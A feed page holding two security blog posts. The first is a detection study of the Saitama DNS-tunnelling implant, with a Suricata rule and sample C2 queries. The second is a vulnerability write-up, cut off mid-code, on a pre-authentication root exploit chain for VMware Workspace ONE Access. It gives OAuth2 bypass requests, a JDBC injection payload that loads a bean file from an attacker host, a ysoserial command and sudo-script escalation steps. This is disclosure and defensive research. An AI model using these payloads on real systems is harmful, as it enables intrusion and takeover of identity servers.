Normal view

There are new articles available, click to refresh the page.
Before yesterdayMain stream

Detecting DNS implants: Old kitten, new tricks – A Saitama Case Study 

11 August 2022 at 16:05

Max Groot & Ruud van Luijk

TL;DR

A recently uncovered malware sample dubbed ‘Saitama’ was uncovered by security firm Malwarebytes in a weaponized document, possibly targeted towards the Jordan government. This Saitama implant uses DNS as its sole Command and Control channel and utilizes long sleep times and (sub)domain randomization to evade detection. As no server-side implementation was available for this implant, our detection engineers had very little to go on to verify whether their detection would trigger on such a communication channel. This blog documents the development of a Saitama server-side implementation, as well as several approaches taken by Fox-IT / NCC Group’s Research and Intelligence Fusion Team (RIFT) to be able to detect DNS-tunnelling implants such as Saitama. The developed implementation as well as recordings of the implant are shared on the Fox-IT GitHub.

Introduction

For its Managed Detection and Response (MDR) offering, Fox-IT is continuously building and testing detection coverage for the latest threats. Such detection efforts vary across all tactics, techniques, and procedures (TTP’s) of adversaries, an important one being Command and Control (C2). Detection of Command and Control involves catching attackers based on the communication between the implants on victim machines and the adversary infrastructure.  

In May 2022, security firm Malwarebytes published a two1-part2 blog about a malware sample that utilizes DNS as its sole channel for C2 communication. This sample, dubbed ‘Saitama’, sets up a C2 channel that tries to be stealthy using randomization and long sleep times. These features make the traffic difficult to detect even though the implant does not use DNS-over-HTTPS (DoH) to encrypt its DNS queries.  

Although DNS tunnelling remains a relatively rare technique for C2 communication, it should not be ignored completely. While focusing on Indicators of Compromise (IOC’s) can be useful for retroactive hunting, robust detection in real-time is preferable. To assess and tune existing coverage, a more detailed understanding of the inner workings of the implant is required. This blog will use the Saitama implant to illustrate how malicious DNS tunnels can be set-up in a variety of ways, and how this variety affects the detection engineering process.  

To assist defensive researchers, this blogpost comes with the publication of a server-side implementation of Saitama on the Fox-IT GitHub. This can be used to control the implant in a lab environment. Moreover, ‘on the wire’ recordings of the implant that were generated using said implementation are also shared as PCAP and Zeek logs. This blog also details multiple approaches towards detecting the implant’s traffic, using a Suricata signature and behavioural detection. 

Reconstructing the Saitama traffic 

The behaviour of the Saitama implant from the perspective of the victim machine has already been documented elsewhere3. However, to generate a full recording of the implant’s behaviour, a C2 server is necessary that properly controls and instructs the implant. Of course, the source code of the C2 server used by the actual developer of the implant is not available. 

If you aim to detect the malware in real-time, detection efforts should focus on the way traffic is generated by the implant, rather than the specific domains that the traffic is sent to. We strongly believe in the “PCAP or it didn’t happen” philosophy. Thus, instead of relying on assumptions while building detection, we built the server-side component of Saitama to be able to generate a PCAP. 

The server-side implementation of Saitama can be found on the Fox-IT GitHub page. Be aware that this implementation is a Proof-of-Concept. We do not intend on fully weaponizing the implant “for the greater good”, and have thus provided resources to the point where we believe detection engineers and blue teamers have everything they need to assess their defences against the techniques used by Saitama.

Let’s do the twist

The usage of DNS as the channel for C2 communication has a few upsides and quite some major downsides from an attacker’s perspective. While it is true that in many environments DNS is relatively unrestricted, the protocol itself is not designed to transfer large volumes of data. Moreover, the caching of DNS queries forces the implant to make sure that every DNS query sent is unique, to guarantee the DNS query reaches the C2 server.  

For this, the Saitama implant relies on continuously shuffling the character set used to construct DNS queries. While this shuffle makes it near-impossible for two consecutive DNS queries to be the same, it does require the server and client to be perfectly in sync for them to both shuffle their character sets in the same way.  

On startup, the Saitama implant generates a random number between 0 and 46655 and assigns this to a counter variable. Using a shared secret key (“haruto” for the variant discussed here) and a shared initial character set (“razupgnv2w01eos4t38h7yqidxmkljc6b9f5”), the client encodes this counter and sends it over DNS to the C2 server. This counter is then used as the seed for a Pseudo-Random Number Generator (PRNG). Saitama uses the Mersenne Twister to generate a pseudo-random number upon every ‘twist’. 

To encode this counter, the implant relies on a function named ‘_IntToString’. This function receives an integer and a ‘base string’, which for the first DNS query is the same initial, shared character set as identified in the previous paragraph. Until the input number is equal or lower than zero, the function uses the input number to choose a character from the base string and prepends that to the variable ‘str’ which will be returned as the function output. At the end of each loop iteration, the input number is divided by the length of the baseString parameter, thus bringing the value down. 

Function used by Saitama client to convert an integer into an encoded string

To determine the initial seed, the server has to ‘invert’ this function to convert the encoded string back into its original number. However, information gets lost during the client-side conversion because this conversion rounds down without any decimals. The server tries to invert this conversion by using simple multiplication. Therefore, the server might calculate a number that does not equal the seed sent by the client and thus must verify whether the inversion function calculated the correct seed. If this is not the case, the server literately tries higher numbers until the correct seed is found.   

Once this hurdle is taken, the rest of the server-side implementation is trivial. The client appends its current counter value to every DNS query sent to the server. This counter is used as the seed for the PRNG. This PRNG is used to shuffle the initial character set into a new one, which is then used to encode the data that the client sends to the server. Thus, when both server and client use the same seed (the counter variable) to generate random numbers for the shuffling of the character set, they both arrive at the exact same character set. This allows the server and implant to communicate in the same ‘language’. The server then simply substitutes the characters from the shuffled alphabet back into the ‘base’ alphabet to derive what data was sent by the client.  

Server-side implementation to arrive at the same shuffled alphabet as the client

Twist, Sleep, Send, Repeat

Many C2 frameworks allow attackers to manually set the minimum and maximum sleep times for their implants. While low sleep times allow attackers to more quickly execute commands and receive outputs, higher sleep times generate less noise in the victim network. Detection often relies on thresholds, where suspicious behaviour will only trigger an alert when it happens multiple times in a certain period.  

The Saitama implant uses hardcoded sleep values. During active communication (such as when it returns command output back to the server), the minimum sleep time is 40 seconds while the maximum sleep time is 80 seconds. On every DNS query sent, the client will pick a random value between 40 and 80 seconds. Moreover, the DNS query is not sent to the same domain every time but is distributed across three domains. On every request, one of these domains is randomly chosen. The implant has no functionality to alter these sleep times at runtime, nor does it possess an option to ‘skip’ the sleeping step altogether.  

Sleep configuration of the implant. The integers represent sleep times in milliseconds.

These sleep times and distribution of communication hinder detection efforts, as they allow the implant to further ‘blend in’ with legitimate network traffic. While the traffic itself appears anything but benign to the trained eye, the sleep times and distribution bury the ‘needle’ that is this implant’s traffic very deep in the haystack of the overall network traffic.  

For attackers, choosing values for the sleep time is a balancing act between keeping the implant stealthy while keeping it usable. Considering Saitama’s sleep times and keeping in mind that every individual DNS query only transmits 15 bytes of output data, the usability of the implant is quite low. Although the implant can compress its output using zlib deflation, communication between server and client still takes a lot of time. For example, the standard output of the ‘whoami /priv’ command, which once zlib deflated is 663 bytes, takes more than an hour to transmit from victim machine to a C2 server.  


Transmission between server implementation and the implant

Transmission between server implementation and the implant 

The implant does contain a set of hardcoded commands that can be triggered using only one command code, rather than sending the command in its entirety from the server to the client. However, there is no way of knowing whether these hardcoded commands are even used by attackers or are left in the implant as a means of misdirection to hinder attribution. Moreover, the output from these hardcoded commands still has to be sent back to the C2 server, with the same delays as any other sent command. 

Detection

Detecting DNS tunnelling has been the subject of research for a long time, as this technique can be implemented in a multitude of different ways. In addition, the complications of the communication channel force attackers to make more noise, as they must send a lot of data over a channel that is not designed for that purpose. While ‘idle’ implants can be hard to detect due to little communication occurring over the wire, any DNS implant will have to make more noise once it starts receiving commands and sending command outputs. These communication ‘bursts’ is where DNS tunnelling can most reliably be detected. In this section we give examples of how to detect Saitama and a few well-known tools used by actual adversaries.  

Signature-based 

Where possible we aim to write signature-based detection, as this provides a solid base and quick tool attribution. The randomization used by the Saitama implant as outlined previously makes signature-based detection challenging in this case, but not impossible. When actively communicating command output, the Saitama implant generates a high number of randomized DNS queries. This randomization does follow a specific pattern that we believe can be generalized in the following Suricata rule: 

alert dns $HOME_NET any -> any 53 (msg:"FOX-SRT - Trojan - Possible Saitama Exfil Pattern Observed"; flow:stateless; content:"|00 01 00 00 00 00 00 00|"; byte_test:1,>=,0x1c,0,relative; fast_pattern; byte_test:1,<=,0x1f,0,relative; dns_query; content:"."; content:"."; distance:1; content:!"."; distance:1; pcre:"/^(?=[0-9]+[a-z]\|[a-z]+[0-9])[a-z0-9]{28,31}\.[^.]+\.[a-z]+$/"; threshold:type both, track by_src, count 50, seconds 3600; classtype:trojan-activity; priority:2; reference:url, https://github.com/fox-it/saitama-server; metadata:ids suricata; sid:21004170; rev:1;)

This signature may seem a bit complex, but if we dissect this into separate parts it is intuitive given the previous parts. 

Content Match Explanation 
00 01 00 00 00 00 00 00 DNS query header. This match is mostly used to place the pointer at the correct position for the byte_test content matches. 
byte_test:1,>=,0x1c,0,relative; Next byte should be at least decimal 25. This byte signifies the length of the coming subdomain 
byte_test:1,<=,0x1f,0,relative; The same byte as the previous one should be at most 31. 
dns_query; content:”.”; content:”.”; distance:1; content:!”.”; DNS query should contain precisely two ‘.’ characters 
pcre:”/^(?=[0-9][a-z]|[a-z][0-9])[a-z0-9] {28,31} 
\.[^.]\.[a-z]$/”; 
Subdomain in DNS query should contain at least one number and one letter, and no other types of characters.
threshold:type both, track by_src, count 50, seconds 3600 Only trigger if there are more than 50 queries in the last 3600 seconds. And only trigger once per 3600 seconds. 
Table one: Content matches for Suricata IDS rule

 
The choice for 28-31 characters is based on the structure of DNS queries containing output. First, one byte is dedicated to the ‘send and receive’ command code. Then follows the encoded ID of the implant, which can take between 1 and 3 bytes. Then, 2 bytes are dedicated to the byte index of the output data. Followed by 20 bytes of base-32 encoded output. Lastly the current value for the ‘counter’ variable will be sent. As this number can range between 0 and 46656, this takes between 1 and 5 bytes. 

Behaviour-based 

The randomization that makes it difficult to create signatures is also to the defender’s advantage: most benign DNS queries are far from random. As seen in the table below, each hack tool outlined has at least one subdomain that has an encrypted or encoded part. While initially one might opt for measuring entropy to approximate randomness, said technique is less reliable when the input string is short. The usage of N-grams, an approach we have previously written about4, is better suited.  

Hacktool Example 
DNScat2 35bc006955018b0021636f6d6d616e642073657373696f6e00.domain.tld5 
Weasel pj7gatv3j2iz-dvyverpewpnnu–ykuct3gtbqoop2smr3mkxqt4.ab.abdc.domain.tld 
Anchor ueajx6snh6xick6iagmhvmbndj.domain.tld6 
Cobalt Strike Api.abcdefgh0.123456.dns.example.com or   post. 4c6f72656d20697073756d20646f6c6f722073697420616d65742073756e74207175697320756c6c616d636f20616420646f6c6f7220616c69717569702073756e7420636f6d6d6f646f20656975736d6f642070726.c123456.dns.example.com 
Sliver 3eHUMj4LUA4HacKK2yuXew6ko1n45LnxZoeZDeJacUMT8ybuFciQ63AxVtjbmHD.fAh5MYs44zH8pWTugjdEQfrKNPeiN9SSXm7pFT5qvY43eJ9T4NyxFFPyuyMRDpx.GhAwhzJCgVsTn6w5C4aH8BeRjTrrvhq.domain.tld 
Saitama 6wcrrrry9i8t5b8fyfjrrlz9iw9arpcl.domain.tld 
Table two: Example DNS queries for various toolings that support DNS tunnelling

Unfortunately, the detection of randomness in DNS queries is by itself not a solid enough indicator to detect DNS tunnels without yielding large numbers of false positives. However, a second limitation of DNS tunnelling is that a DNS query can only carry a limited number of bytes. To be an effective C2 channel an attacker needs to be able to send multiple commands and receive corresponding output, resulting in (slow) bursts of multiple queries.  

This is where the second step for behaviour-based detection comes in: plainly counting the number of unique queries that have been classified as ‘randomized’. The specifics of these bursts differ slightly between tools, but in general, there is no or little idle time between two queries. Saitama is an exception in this case. It uses a uniformly distributed sleep between 40 and 80 seconds between two queries, meaning that on average there is a one-minute delay. This expected sleep of 60 seconds is an intuitive start to determine the threshold. If we aggregate over an hour, we expect 60 queries distributed over 3 domains. However, this is the mean value and in 50% of the cases there are less than 60 queries in an hour.  

To be sure we detect this, regardless of random sleeps, we can use the fact that the sum of uniform random observations approximates a normal distribution. With this distribution we can calculate the number of queries that result in an acceptable probability. Looking at the distribution, that would be 53. We use 50 in our signature and other rules to incorporate possible packet loss and other unexpected factors. Note that this number varies between tools and is therefore not a set-in-stone threshold. Different thresholds for different tools may be used to balance False Positives and False Negatives. 

In summary, combining detection for random-appearing DNS queries with a minimum threshold of random-like DNS queries per hour, can be a useful approach for the detection of DNS tunnelling. We found in our testing that there can still be some false positives, for example caused by antivirus solutions. Therefore, a last step is creating a small allow list for domains that have been verified to be benign. 

While more sophisticated detection methods may be available, we believe this method is still powerful (at least powerful enough to catch this malware) and more importantly, easy to use on different platforms such as Network Sensors or SIEMs and on diverse types of logs. 

Conclusion

When new malware arises, it is paramount to verify existing detection efforts to ensure they properly trigger on the newly encountered threat. While Indicators of Compromise can be used to retroactively hunt for possible infections, we prefer the detection of threats in (near-)real-time. This blog has outlined how we developed a server-side implementation of the implant to create a proper recording of the implant’s behaviour. This can subsequently be used for detection engineering purposes. 

Strong randomization, such as observed in the Saitama implant, significantly hinders signature-based detection. We detect the threat by detecting its evasive method, in this case randomization. Legitimate DNS traffic rarely consists of random-appearing subdomains, and to see this occurring in large bursts to previously unseen domains is even more unlikely to be benign.  

Resources

With the sharing of the server-side implementation and recordings of Saitama traffic, we hope that others can test their defensive solutions.  

The server-side implementation of Saitama can be found on the Fox-IT GitHub.  

This repository also contains an example PCAP & Zeek logs of traffic generated by the Saitama implant. The repository also features a replay script that can be used to parse executed commands & command output out of a PCAP. 

References

[1] https://blog.malwarebytes.com/threat-intelligence/2022/05/apt34-targets-jordan-government-using-new-saitama-backdoor/ 
[2] https://blog.malwarebytes.com/threat-intelligence/2022/05/how-the-saitama-backdoor-uses-dns-tunnelling/ 
[3] https://x-junior.github.io/malware%20analysis/2022/06/24/Apt34.html
[4] https://blog.fox-it.com/2019/06/11/using-anomaly-detection-to-find-malicious-domains/   

IAM Whoever I Say IAM :: Infiltrating VMWare Workspace ONE Access Using a 0-Click Exploit

11 August 2022 at 14:00

VMWare Workspace ONE Access

On March 2nd, I reported several security vulnerabilities to VMWare impacting their Identity Access Management (IAM) solution. In this blog post I will discuss some of the vulnerabilities I found, the motivation behind finding such vulnerabilities and how companies can protect themselves. The result of the research project concludes with a pre-authenticated remote root exploit chain nicknamed Hekate. The advisories and patches for these vulnerabilities can be found in the references section.

Introduction

Single Sign On (SSO) has become the dominant authentication scheme to login to several related, yet independent, software systems. At the core of this are the identity providers (IdP). Their role is to perform credential verification and to supply a signed token containing assertions that a service providers (SP) can consume for access control. This is implemented using a protocol called Security Assertion Markup Language (SAML).

On the other hand, when an application requests resources on behalf of a user and they’re granted, then an authorization request is made to an authorization server (AS). The AS exchanges a code for a token which is presented to a resource server (RS) and the requested resources are consumed by the requesting application. This is known as Open Authorization (OAuth), the auth here is standing for authorization and not authentication.

Whilst OAuth2 handles authorization (identity), and SAML handles authentication (access) a solution is needed to manage both since an organizations network perimeter can get very wide and complex. Therefore, a market for Identity and Access Management (IAM) solutions have become very popular in the enterprise environment to handle both use cases at scale.

Motivation

This project was motivated by a high impact vulnerabilities affecting similar software products, let’s take a look in no particular order:

  1. Cisco Identity Services Engine

    This product was pwned by Pedro Ribeiro and Dominik Czarnota using a pre-authenticated stored XSS vulnerability leading to full remote root access chaining an additional two vulnerabilities.

  2. ForgeRock OpenAM

    This product was pwned by Michael Stepankin using a pre-authenticated deserialization of untrusted data vulnerability in a 3rd party library called jato. Michael had to get creative here by using a custom Java gadget chain to exploit the vulnerability.

  3. Oracle Access Manager (OAM)

    Peter Json and Jang blogged about a pre-authenticated deserialization of untrusted data vulnerability impacting older versions of OAM.

  4. VMWare Workspace ONE Access

    Two high impact vulnerabilities were discovered here. The first being CVE-2020-4006 which was exploited in the wild (ITW) by state sponsored attackers which excited my interest initially. The details of this bug was first revealed by William Vu and essentially boiled down to a post-authenticated command injection vulnerability. The fact that this bug was post-authenticated and yet was still exploited in the wild (ITW) likely means that this software product is of high interest to attackers.

    The second vulnerability was discovered by Shubham Shah of Assetnote which was a SSRF that could have been used by malicious attackers to leak the users JSON Web Token (JWT) via the Authorization header.

With most of this knowledge before I even started, I knew that vulnerabilities discovered in a system like this would have a high impact. So, at the time I asked myself: does a pre-authenticated remote code execution vulnerability/chain exist in this code base?

Version

The vulnerable version at the time of testing was 21.08.0.1 which was the latest and deployed using the identity-manager-21.08.0.1-19010796_OVF10.ova (SHA1: 69e9fb988522c92e98d2910cc106ba4348d61851) file. It was released on the 9th of December 2021 according to the release notes. This was a Photon OS Linux deployment designed for the cloud.

Challenges

I had several challenges and I think it’s important to document them so that others are not discouraged when performing similar audits.

  1. Heavy use of Spring libraries

    This software product heavily relied on several spring components and as such didn’t leave room for many errors in relation to authentication. Interceptors played a huge role in the authentication process and were found to not contain any logic vulnerabilities in this case.

    Additionally, With Spring’s StrictHttpFirewall enabled, several attacks to bypass the authentication using well known filter bypass attacks failed.

  2. Minimal attack surface

    There was very little pre-authenticated attack surface that exposed functionality of the application outside of authentication protocols like SAML and OAuth 2.0 (including OpenID Connect) which minimizes the chance of discovering a pre-authenticated remote code execution vulnerability.

  3. Code quality

    The code quality of this product was very good. Having audited many Java applications in the past, I took notice that this product was written with security in mind and the overall layout of libraries, syntax used, spelling of code was a good reflection of that. In the end, I only found two remote code execution vulnerabilities and they were in a very similar component.

Let’s move on to discussing the vulnerabilities in depth.


OAuth2TokenResourceController Access Control Service (ACS) Authentication Bypass Vulnerability

The com.vmware.horizon.rest.controller.oauth2.OAuth2TokenResourceController class has two exposed endpoints. The first will generate an activation code for an existing oauth2 client:

/*     */   @RequestMapping(value = {"/generateActivationToken/{id}"}, method = {RequestMethod.POST})
/*     */   @ResponseBody
/*     */   @ApiOperation(value = "Generate and update activation token for an existing oauth2 client", response = OAuth2ActivationTokenMedia.class)
/*     */   @ApiResponses({@ApiResponse(code = 500, message = "Generation failed, unknown error."), @ApiResponse(code = 400, message = "Generation failed, client is invalid or not specified.")})
/*     */   public OAuth2ActivationTokenMedia generateActivationToken(@ApiParam(value = "OAuth 2.0 Client identifier", example = "\"my-auth-grant-client1\"", required = true) @PathVariable("id") String clientId, HttpServletRequest request) throws MyOneLoginException {
/* 128 */     OrganizationRuntime orgRuntime = getOrgRuntime(request);
/* 129 */     OAuth2Client client = this.oAuth2ClientService.getOAuth2Client(orgRuntime.getOrganizationId().intValue(), clientId);
/* 130 */     if (client == null || client.getIdUser() == null) {
/* 131 */       throw new BadRequestException("invalid.client", new Object[0]);
/*     */     }

The second will activate the device OAuth2 client by exchanging the activation code for a client ID and client secret:

/*     */   @RequestMapping(value = {"/activate"}, method = {RequestMethod.POST})
/*     */   @ResponseBody
/*     */   @AllowExecutionWhenReadOnly
/*     */   @ApiOperation(value = "Activate the device client by exchanging an activation code for a client ID and client secret.", notes = "This endpoint is used in the dynamic mobile registration flow. The activation code is obtained by calling the /SAAS/auth/device/register endpoint. The client_secret and client_id returned in this call will be used in the call to the /SAAS/auth/oauthtoken endpoint.", response = OAuth2ClientActivationDetails.class)
/*     */   @ApiResponses({@ApiResponse(code = 500, message = "Activation failed, unknown error."), @ApiResponse(code = 404, message = "Activation failed, organization not found."), @ApiResponse(code = 400, message = "Activation failed, activation code is invalid or not specified.")})
/*     */   public OAuth2ClientActivationDetails activateOauth2Client(@ApiParam(value = "the activation code", required = true) @RequestBody String activationCode, HttpServletRequest request) throws MyOneLoginException {
/* 102 */     OrganizationRuntime organizationRuntime = getOrgRuntime(request);
/*     */     try {
/* 104 */       return this.activationTokenService.activateAndGetOAuth2Client(organizationRuntime.getOrganization(), activationCode);
/* 105 */     } catch (EncryptionException e) {
/* 106 */       throw new BadRequestException("invalid.activation.code", e, new Object[0]);
/* 107 */     } catch (MyOneLoginException e) {
/*     */
/* 109 */       if (e.getCode() == 80480 || e.getCode() == 80476 || e.getCode() == 80440 || e.getCode() == 80558) {
/* 110 */         throw new BadRequestException("invalid.activation.code", e, new Object[0]);
/*     */       }
/* 112 */       throw e;
/*     */     } 
/*     */   }

This is enough for an attacker to then exchange the client_id and client_secret for an OAuth2 token to achieve a complete authentication bypass. Now, this wouldn’t have been so easily exploitable if no default OAuth2 clients were present, but as it turns out. There are two internal clients installed by default:

We can verify this when we check the database on the system:

These clients are created in several locations, one of them is in the com.vmware.horizon.rest.controller.system.BootstrapController class. I won’t bore you will the full stack trace, but it essentially leads to a call to createTenant in the com.vmware.horizon.components.authentication.OAuth2RemoteAccessServiceImpl class:

/*     */   public boolean createTenant(int orgId, String tenantId) {
/*     */     try {
/* 335 */       createDefaultServiceOAuth2Client(orgId); // 1
/* 336 */     } catch (Exception e) {
/* 337 */       log.warn("Failed to create the default service oauth2 client for org " + tenantId, e);
/* 338 */       return false;
/*     */     }
/* 340 */     return true;
/*     */   }

At [1] the code calls createDefaultServiceOAuth2Client:

/*     */   @Nonnull
/*     */   @Transactional(rollbackFor = {MyOneLoginException.class})
/*     */   @ReadWriteConnection
/*     */   public OAuth2Client createDefaultServiceOAuth2Client(int orgId) throws MyOneLoginException {
/* 116 */     OAuth2Client oAuth2Client = this.oauth2ClientService.getOAuth2Client(orgId, "Service__OAuth2Client");
/* 117 */     if (oAuth2Client == null) {
/* 118 */       Organizations firstOrg = this.organizationService.getFirstOrganization();
/* 119 */       if (firstOrg.getId().intValue() == orgId) {
/* 120 */         log.info("Creating service_oauth2 client for root tenant.");
/* 121 */         return createSystemScopedServiceOAuth2Client(firstOrg, "Service__OAuth2Client", null, "admin system"); // 2
/*     */       }
/*     */     //...
/* 131 */     return oAuth2Client;
/*     */   }

The code at [2] calls createSystemScopedServiceOAuth2Client which, as the name suggests creates a system scoped oauth2 client using the clientId “Service__OAuth2Client”. I actually found another authentication bypass documented as SRC-2022-0007 using variant analysis, however it impacts only the cloud environment due to the on-premise version not loading the authz Spring profile by default.

DBConnectionCheckController dbCheck JDBC Injection Remote Code Execution Vulnerability

The com.vmware.horizon.rest.controller.system.DBConnectionCheckController class exposes a method called dbCheck

/*     */   @RequestMapping(method = {RequestMethod.POST}, produces = {"application/json"})
/*     */   @ProtectedApi(resource = "vrn:tnts:*", actions = {"tnts:read"})
/*     */   @ResponseBody
/*     */   public RESTResponse dbCheck(@RequestParam(value = "jdbcUrl", required = true) String jdbcUrl, @RequestParam(value = "dbUsername", required = true) String dbUsername, @RequestParam(value = "dbPassword", required = true) String dbPassword) throws MyOneLoginException {
/*     */     String driverVersion;
/*     */     try {
/*  76 */       if (this.organizationService.countOrganizations() > 0L) { // 1
/*  77 */         assureAuthenticatedApiAdmin(); // 2
/*     */       }
/*  79 */     } catch (Exception e) {
/*  80 */       log.info("Check for existing organization threw an exception.", driverVersion);
/*     */     }
/*     */
/*     */     try {
/*  84 */       String encryptedPwd = configEncrypter.encrypt(dbPassword);
/*  85 */       driverVersion = this.dbConnectionCheckService.checkConnection(jdbcUrl, dbUsername, encryptedPwd); // 3
/*  86 */     } catch (PersistenceRuntimeException e) {
/*  87 */       throw new MyOneLoginException(HttpStatus.NOT_ACCEPTABLE.value(), e.getMessage(), e);
/*     */     }
/*  89 */     return new RESTResponse(Boolean.valueOf(true), Integer.valueOf(HttpStatus.OK.value()), driverVersion, null);
/*     */   }

At [1] the code checks to see if there are any existing organizations (there will be if it’s set-up correctly) and at [2] the code validates that an admin is requesting the endpoint. At [3] the code calls DbConnectionCheckServiceImpl.checkConnection using the attacker controlled jdbcUrl.

/*  73 */   public String checkConnection(String jdbcUrl, String username, String password) throws PersistenceRuntimeException { return checkConnection(jdbcUrl, username, password, true); }
/*     */   public String checkConnection(@Nonnull String jdbcUrl, @Nonnull String username, @Nonnull String password, boolean checkCreateTableAccess) throws PersistenceRuntimeException {
/*  87 */     connection = null;
/*  88 */     String driverVersion = null;
/*     */     try {
/*  90 */       loadDriver(jdbcUrl);
/*  91 */       connection = testConnection(jdbcUrl, username, password, checkCreateTableAccess); // 4
/*  92 */       meta = connection.getMetaData();
/*  93 */       driverVersion = meta.getDriverVersion();
/*  94 */     } catch (SQLException e) {
/*  95 */       log.error("connectionFailed");
/*  96 */       throw new PersistenceRuntimeException(e.getMessage(), e);
/*     */     } finally {
/*     */       try {
/*  99 */         if (connection != null) {
/* 100 */           connection.close();
/*     */         }
/* 102 */       } catch (Exception e) {
/* 103 */         log.warn("Problem closing connection", e);
/*     */       }
/*     */     }
/* 106 */     return driverVersion;
/*     */   }

The code calls DbConnectionCheckServiceImpl.testConnection at [4] with an attacker controlled jdbcUrl string.

/*     */   private Connection testConnection(String jdbcUrl, String username, String password, boolean checkCreateTableAccess) throws PersistenceRuntimeException {
/*     */     try {
/* 124 */       Connection connection = this.factoryHelper.getConnection(jdbcUrl, username, password); // 5
/*     */
/*     */
/* 127 */       log.info("sql verification triggered");
/* 128 */       this.factoryHelper.sqlVerification(connection, username, Boolean.valueOf(checkCreateTableAccess));
/*     */
/* 130 */       if (checkCreateTableAccess) {
/* 131 */         return testCreateTableAccess(jdbcUrl, connection);
/*     */       }
/*     */
/* 134 */       return testUpdateTableAccess(connection);
/*     */     }

The code calls FactoryHelper.getConnection at [5].

/*     */     public Connection getConnection(String jdbcUrl, String username, String password) throws SQLException {
/*     */       try {
/* 427 */         return DriverManager.getConnection(jdbcUrl, username, password); // 6
/* 428 */       } catch (Exception ex) {
/* 429 */         if (ex.getCause() != null && ex.getCause().toString().contains("javax.net.ssl.SSLHandshakeException")) {
/* 430 */           log.info(String.format("ssl handshake failed for the user:%s ", new Object[] { username }));
/* 431 */           throw new SQLException("database.connection.ssl.notSuccess");
/*     */         }
/* 433 */         log.info(String.format("Connection failed for the user:%s ", new Object[] { username }));
/* 434 */         throw new SQLException("database.connection.notSuccess");
/*     */       }
/*     */     }

Finally, at [6] the attacker can reach a DriverManager.getConnection sink which will lead to an arbitrary JDBC URI connection. Given the flexibility of JDBC, the attacker can use any of the deployed drivers within the application. This vulnerability can lead to remote code execution as the horizon user which will be discussed in the exploitation section.

publishCaCert and gatherConfig Privilege Escalation

After gaining remote code execution as the horizon user, we can exploit the following vulnerability to gain root access. This section contains two bugs, but I decided to report it as a single vulnerability due to the way I (ab)used them in the final exploit chain.

  1. The publishCaCert.hzn script allows attackers to disclose sensitive files.
  2. The gatherConfig.hzn script allows attackers to take ownership of sensitive files

These scripts can be executed by the horizon user with root privileges without a password using sudo. They were not writable by the horizon user so I audited the scripts for logical issues to escalate cleanly.

  1. publishCaCert.hzn:

    For this bug we can see that it will take a file on the command line and copy it to /etc/ssl/certs/ at [1] and then make it readable/writable by the owner at [2]!

    #!/bin/sh
    
    #Script to isolate sudo access to just publishing a single file to the trusted certs directory
    
    CERTFILE=$1
    DESTFILE=$(basename $2)
    
    cp -f $CERTFILE /etc/ssl/certs/$DESTFILE // 1
    chmod 644 /etc/ssl/certs/$DESTFILE // 2
    c_rehash > /dev/null
    
  2. gatherConfig.hzn:

    For taking ownership, we can use a symlink called debugConfig.txt and point it to a root owned file at [1].

    #!/bin/bash
    #
    # Minor: Copyright 2019 VMware, Inc. All rights reserved.
    . /usr/local/horizon/scripts/hzn-bin.inc
    . /usr/local/horizon/scripts/manageTcCfg.inc
    DEBUG_FILE=$1
    
    #...
    
    function gatherConfig()
    {
        printLines
        echo "1) cat /usr/local/horizon/conf/flags/sysconfig.hostname" > ${DEBUG_FILE}
        #...
        chown $TOMCAT_USER:$TOMCAT_GROUP $DEBUG_FILE // 1
    }
    
    if [ -z "$DEBUG_FILE" ]
    then
        usage
    else
        DEBUG_FILE=${DEBUG_FILE}/"debugConfig.txt"
        gatherConfig
    fi
    

Exploitation

OAuth2TokenResourceController ACS Authentication Bypass

  1. First, we can grab the activationToken.

    Request:

    POST /SAAS/API/1.0/REST/oauth2/generateActivationToken/Service__OAuth2Client HTTP/1.1
    Host: photon-machine
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 0
    

    Response:

    {
     "activationToken": "eyJvdGEiOiJiNmRlZmFkOS1iY2M3LTM3ZWUtYTdkZi05YTM2ZDcxZDU4MGE6c0dJcnlObEhxREVnUW...",
     "_links": {}
    }
    
  2. Now, with the activation token let’s get the client_id and client_secret.

    Request:

    POST /SAAS/API/1.0/REST/oauth2/activate HTTP/1.1
    Host: photon-machine
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 168
    
    eyJvdGEiOiJiNmRlZmFkOS1iY2M3LTM3ZWUtYTdkZi05YTM2ZDcxZDU4MGE6c0dJcnlObEhxREVnUW...
    

    Response:

    {
     "client_id": "Service__OAuth2Client",
     "client_secret": "uYkAzg1woC1qbCa3Qqd0i6UXpwa1q00o"
    }
    

From this point, exploitation is just the standard OAuth2 flow to grab a signed JWT.

DBConnectionCheckController dbCheck JDBC Injection Remote Code Execution

Technique 1 - Remote code execution via the MySQL JDBC Driver autoDeserialize

It was also possible to perform remote code execution via the MySQL JDBC driver by using the autoDeserialize property. The server would connect back to the attacker’s malicious MySQL server where it could deliver an arbitrary serialized Java object that could be deserialized on the server. As it turns out, the off the shell ysoserial CommonsBeanutils1 gadget worked a treat: java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 <cmd>.

This technique was first presented by Yang Zhang, Keyi Li, Yongtao Wang and Kunzhe Chai at Blackhat Europe in 2019. This was the technique I used in the exploit I sent to VMWare because I wanted to hint at their usage of unsafe libraries that contain off the shell gadget chains in them!

Technique 2 - Remote code execution via the PostgreSQL JDBC Driver socketFactory

It was possible to perform remote code execution via the socketFactory property of the PostgreSQL JDBC driver. By setting the socketFactory and socketFactoryArg properties, an attacker can trigger the execution of a constructor defined in an arbitrary Java class with a controlled string argument. Since the application was using Spring with a Postgres database, it was the perfect candidate to (ab)use FileSystemXmlApplicationContext!

Proof of Concept: jdbc:postgresql://si/saas?&socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext&socketFactoryArg=http://attacker.tld:9090/bean.xml.

But of course, we can improve on this. Inspired by RicterZ, let’s say you want to exploit the bug without internet access. You can re-use the com.vmware.licensecheck.LicenseChecker class VMWare provides us and mix deserialization with the PostgreSQL JDBC driver attack.

Let’s walk from one of the LicenseChecker constructors, right to the vulnerable sink.

    public LicenseChecker(final String s) {
        this(s, true); // 1
    }

    public LicenseChecker(final String state, final boolean validateExpiration) {
        this._handle = new LicenseHandle();
        if (state != null) {
            this._handle.setState(state); // 2
        }
        this._validateExpiration = validateExpiration;
    }

At [1] the code calls another constructor in the same class with the parsed in string. At [2] the code calls setState on the LicenseHandle class:

    public void setState(String var1) {
        if (var1 != null && var1.length() >= 1) {
            try {
                byte[] var2 = MyBase64.decode(var1); // 3
                if (var2 != null && this.deserialize(var2)) { // 4
